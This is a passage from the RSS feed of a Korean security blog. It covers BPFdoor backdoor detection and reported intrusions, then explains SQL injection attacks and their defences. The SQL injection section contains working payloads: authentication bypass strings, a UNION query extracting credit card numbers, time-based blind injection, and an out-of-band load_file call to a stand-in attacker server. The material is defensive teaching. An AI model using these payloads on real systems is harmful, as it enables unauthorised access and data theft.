&lt;li&gt;&lt;b&gt;포트가 열려 있지 않아&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;일반적인 포트 스캐닝으로 탐지가 불가능합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;패킷 스니핑 기반&lt;/b&gt;이기 때문에, Host-based Firewall이나 IDS/IPS로도 쉽게 탐지되지 않습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;로그를 남기지 않는&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;방식으로 동작합니다.&lt;/li&gt;
&lt;li&gt;따라서 탐지를 위해서는:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비정상적인 BPF 세션 감시&lt;/li&gt;
&lt;li&gt;시스템 호출 감시 (e.g., raw socket 사용 흔적)&lt;/li&gt;
&lt;li&gt;메모리 상의 비정상 프로세스 분석 등이 필요합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;7. &amp;nbsp;BPFdoor 변종&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;발견 이후 여러 변종이 확인되었습니다.&lt;/li&gt;
&lt;li&gt;Solaris 뿐 아니라 Linux용 변종이 계속 진화 중.&lt;/li&gt;
&lt;li&gt;일부는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;ICMP&lt;/b&gt;만 사용하는 간단한 트리거 방식으로 수정된 것도 있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/h1&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;BPFdoor 감염 탐지 방법 간단 요약&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/proc/net/bpf&lt;span&gt;&amp;nbsp;&lt;/span&gt;등 시스템 내 BPF 핸들링 흔적을 확인&lt;/li&gt;
&lt;li&gt;비정상적인 Raw Socket 열람 탐지&lt;/li&gt;
&lt;li&gt;비정상 프로세스 (특히 이름이 이상하거나 ps/top에 잘 안 보이는) 탐색&lt;/li&gt;
&lt;li&gt;패킷 캡처 도구를 사용하여 수상한 트래픽 형태 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;609&quot; data-start=&quot;587&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;BPFdoor 감염으로 인한 해킹 사례&lt;/h1&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;609&quot; data-start=&quot;587&quot; data-ke-size=&quot;size26&quot;&gt;1. 통신사(Telco) 해킹 사례&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-end=&quot;861&quot; data-start=&quot;610&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;629&quot; data-start=&quot;610&quot;&gt;&lt;b&gt;타겟&lt;/b&gt;: 동남아시아 통신사&lt;/li&gt;
&lt;li data-end=&quot;718&quot; data-start=&quot;630&quot;&gt;&lt;b&gt;침해 경로&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;718&quot; data-start=&quot;645&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;688&quot; data-start=&quot;645&quot;&gt;취약한 VPN 장비(예: Pulse Secure) 취약점을 통해 초기 침입&lt;/li&gt;
&lt;li data-end=&quot;718&quot; data-start=&quot;691&quot;&gt;이후 서버 내부로 이동하여 BPFdoor 설치&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;792&quot; data-start=&quot;719&quot;&gt;&lt;b&gt;피해&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;792&quot; data-start=&quot;731&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;769&quot; data-start=&quot;731&quot;&gt;고객 통화 기록(CDR, Call Detail Record) 탈취&lt;/li&gt;
&lt;li data-end=&quot;792&quot; data-start=&quot;772&quot;&gt;내부망 스니핑 및 추가 감염 확산&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;861&quot; data-start=&quot;793&quot;&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;861&quot; data-start=&quot;805&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;861&quot; data-start=&quot;805&quot;&gt;BPFDoor를 통해 네트워크 전역으로 퍼지며 lateral movement(횡적 이동)을 수행.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;887&quot; data-start=&quot;868&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;887&quot; data-start=&quot;868&quot; data-ke-size=&quot;size26&quot;&gt;2. 국방 및 방위 산업 해킹&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-end=&quot;1100&quot; data-start=&quot;888&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;914&quot; data-start=&quot;888&quot;&gt;&lt;b&gt;타겟&lt;/b&gt;: 아시아 일부 국방 관련 연구소&lt;/li&gt;
&lt;li data-end=&quot;982&quot; data-start=&quot;915&quot;&gt;&lt;b&gt;공격 기법&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;982&quot; data-start=&quot;930&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;952&quot; data-start=&quot;930&quot;&gt;취약한 SSH 서버를 통한 초기 접근&lt;/li&gt;
&lt;li data-end=&quot;982&quot; data-start=&quot;955&quot;&gt;Solaris 기반 서버에 BPFdoor 설치&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1038&quot; data-start=&quot;983&quot;&gt;&lt;b&gt;피해&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1038&quot; data-start=&quot;995&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1012&quot; data-start=&quot;995&quot;&gt;연구개발(R&amp;amp;D) 문서 탈취&lt;/li&gt;
&lt;li data-end=&quot;1038&quot; data-start=&quot;1015&quot;&gt;시스템 제어권 장악 후 추가 공격 준비&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1100&quot; data-start=&quot;1039&quot;&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1100&quot; data-start=&quot;1051&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1100&quot; data-start=&quot;1051&quot;&gt;탐지 없이 오랫동안 숨겨진 채 운영됨 (6개월 이상 탐지 불가 상태 지속 사례 존재)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>bpfdoor</category>
      <category>Malware</category>
      <category>악성코드</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/24</guid>
      <comments>https://defcon.tistory.com/24#entry24comment</comments>
      <pubDate>Wed, 30 Apr 2025 09:00:12 +0900</pubDate>
    </item>
    <item>
      <title>SQL Injection 개념 및 대응 방법</title>
      <link>https://defcon.tistory.com/23</link>
      <description>&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;SQL Injection (SQLi) 이란?&lt;/b&gt;&lt;/h1&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;SQL Injection&lt;/b&gt;&lt;/span&gt;은 웹 애플리케이션의 보안 취약점을 이용하여&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개발자가 의도하지 않은 SQL 쿼리를 실행&lt;/b&gt;&lt;span&gt;하도록 만드는 공격 기법입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;주로 사용자가 입력한 값이 적절히 검증(Validation)되지 않고&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;직접 SQL 문에 삽입되어 처리될 때&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;발생합니다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;공격자가 데이터베이스를 조작하여 인증 우회, 데이터 조회/변조/삭제, 서버 제어 등을 할 수 있게 됩니다.&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;SQL Injection의 기본 개념&lt;/b&gt;&lt;/h1&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;SQL은 데이터베이스를 다루기 위한 질의 언어입니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;일반적으로 다음과 같이 사용자의 입력을 바탕으로 쿼리를 생성합니다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;SELECT * FROM users WHERE username = '입력값' AND password = '입력값';&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그런데 만약 입력값에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;' OR '1'='1&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 악성 문자열을 넣으면 어떻게 될까요?&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;입력된 쿼리:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;'1'='1'&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;은 항상 참이므로,&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비밀번호 검증을 무력화&lt;/b&gt;&lt;span&gt;하고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;모든 사용자에 대해 로그인 성공&lt;/b&gt;&lt;span&gt;이 될 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;&amp;nbsp;SQL Injection 동작 흐름&lt;/b&gt;&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;사용자가 입력폼(로그인, 검색창 등)에 악의적인 데이터를 입력합니다.&lt;/li&gt;
&lt;li&gt;서버가 이 입력값을 검증 없이 SQL 쿼리에 삽입합니다.&lt;/li&gt;
&lt;li&gt;데이터베이스는 이를 정상적인 명령어로 처리합니다.&lt;/li&gt;
&lt;li&gt;결과적으로 공격자가 의도한 데이터 노출/조작이 발생합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;&amp;nbsp;SQL Injection 공격 유형 (종류)&lt;/b&gt;&lt;/h1&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;인증 우회 (Authentication Bypass)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;로그인 인증을 우회합니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;데이터 노출 (Data Extraction)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;비공개 데이터(회원정보, 카드번호 등)를 빼냅니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;데이터 수정/삭제 (Data Manipulation)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;테이블을 수정하거나 삭제합니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;DB 서버 공격 (Database Takeover)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;파일 읽기/쓰기, 시스템 명령 실행까지 시도합니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Blind SQL Injection&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;쿼리 결과를 볼 수 없어, 참/거짓 응답을 분석해 공격합니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Out-of-Band SQL Injection&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;서버의 응답이 없을 때, 별도 채널 (DNS, HTTP 등)로 데이터를 빼냅니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;SQL Injection 구체적 공격 예시&lt;/b&gt;&lt;/h1&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 인증 우회&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;makefile&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;입력창에 
아이디: admin' --
비밀번호: 아무거나&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;--은 SQL에서 주석 처리를 의미합니다. 따라서 비밀번호 조건은 무시되고 아이디만&amp;nbsp;admin으로 로그인 가능.&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 변환:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...';&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 데이터 추출&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;입력창에
아이디: ' UNION SELECT card_number, 1 FROM credit_cards --
비밀번호: 아무거나&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;UNION&amp;nbsp;키워드를 사용해, 다른 테이블(카드정보)을 조회합니다.&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 변환:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;SELECT * FROM users WHERE username = '' UNION SELECT card_number, 1 FROM credit_cards --' AND password = '...';&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/h1&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;Blind SQL Injection (블라인드 SQLi)&lt;/b&gt;&lt;/h1&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;결과가 직접 보이지 않는 경우, 참/거짓 응답을 반복해서 분석합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;예시&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;아이디 입력창에
' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND LENGTH(password)&amp;gt;5) -- &lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;비밀번호 길이가 5보다 크면 정상 응답, 아니면 오류 &amp;rarr; 반복해서 길이와 내용을 추측할 수 있습니다.&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;또는 시간 지연을 사용하여 참/거짓을 알아낼 수도 있습니다.&lt;/p&gt;
&lt;pre class=&quot;lsl&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;' OR IF(ASCII(SUBSTRING(password,1,1))=97, SLEEP(5), 0) -- &lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;비밀번호 첫 글자의 아스키코드가 97(a)이면 5초 동안 서버가 멈춤.&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;Out-of-Band SQL Injection&lt;/b&gt;&lt;/h1&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;DB 서버에서 DNS 요청 등 외부 서버로 연결해 데이터를 빼가는 기법입니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예시:&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;SELECT load_file('\\\\attacker_server\\share');&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;SQL Injection 취약 원인&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자 입력값을 신뢰하고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;검증하지 않음&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;SQL 쿼리에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;직접 문자열 연결&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(String Concatenation)&lt;/li&gt;
&lt;li&gt;적절한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;권한 분리&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;없이 모든 쿼리를 수행&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;오류 메시지&lt;/b&gt;&lt;/span&gt;를 자세히 노출하여 정보 유출&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/h1&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;SQL Injection 방어 방법&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;방법&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Prepared Statement (Parameterized Query)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;쿼리 구조와 데이터 입력을 분리&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;ORM 사용&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;Django ORM, Hibernate 등 사용하여 쿼리 직접 작성 방지&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;입력값 검증 (Validation)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;입력값의 허용범위, 타입, 길이 등을 철저히 체크&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;최소 권한 원칙 적용&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;DB 계정 권한 최소화 (SELECT만 가능 등)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;오류 메시지 제한&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;구체적인 DB 오류를 사용자에게 노출하지 않음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;WAF (Web Application Firewall)&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;SQLi 공격 시도를 차단&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;&amp;nbsp;Prepared Statement 예시&lt;/b&gt;&lt;/h1&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;(Java JDBC 예제)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;String query = &quot;SELECT * FROM users WHERE username = ? AND password = ?&quot;;
PreparedStatement pstmt = conn.prepareStatement(query);
pstmt.setString(1, usernameInput);
pstmt.setString(2, passwordInput);
ResultSet rs = pstmt.executeQuery();&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;여기서 ?는 입력값이&amp;nbsp;쿼리와 독립적으로 처리되기 때문에 입력값에 악성 SQL을 넣어도 코드 자체가 변조되지 않습니다.&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;SQL Injection 공격 탐지 방법&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 서버 로그 분석 (비정상 쿼리 문자열 확인)&lt;/li&gt;
&lt;li&gt;DB 쿼리 로그 모니터링 (비정상 쿼리 패턴)&lt;/li&gt;
&lt;li&gt;이상 접근 감지 시스템 (IDS/IPS) 연동&lt;/li&gt;
&lt;li&gt;자동화된 취약점 스캐너 사용 (ex. SQLMap, Burp Suite)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;b&gt;SQL Injection 대표적인 도구&lt;/b&gt;&lt;/h1&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;도구&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;SQLMap&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;오픈소스 SQL Injection 자동화 도구&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span&gt;&lt;b&gt;Burp Suite&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span&gt;웹 취약점 진단 도구 (Proxy, Scanner 기능)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
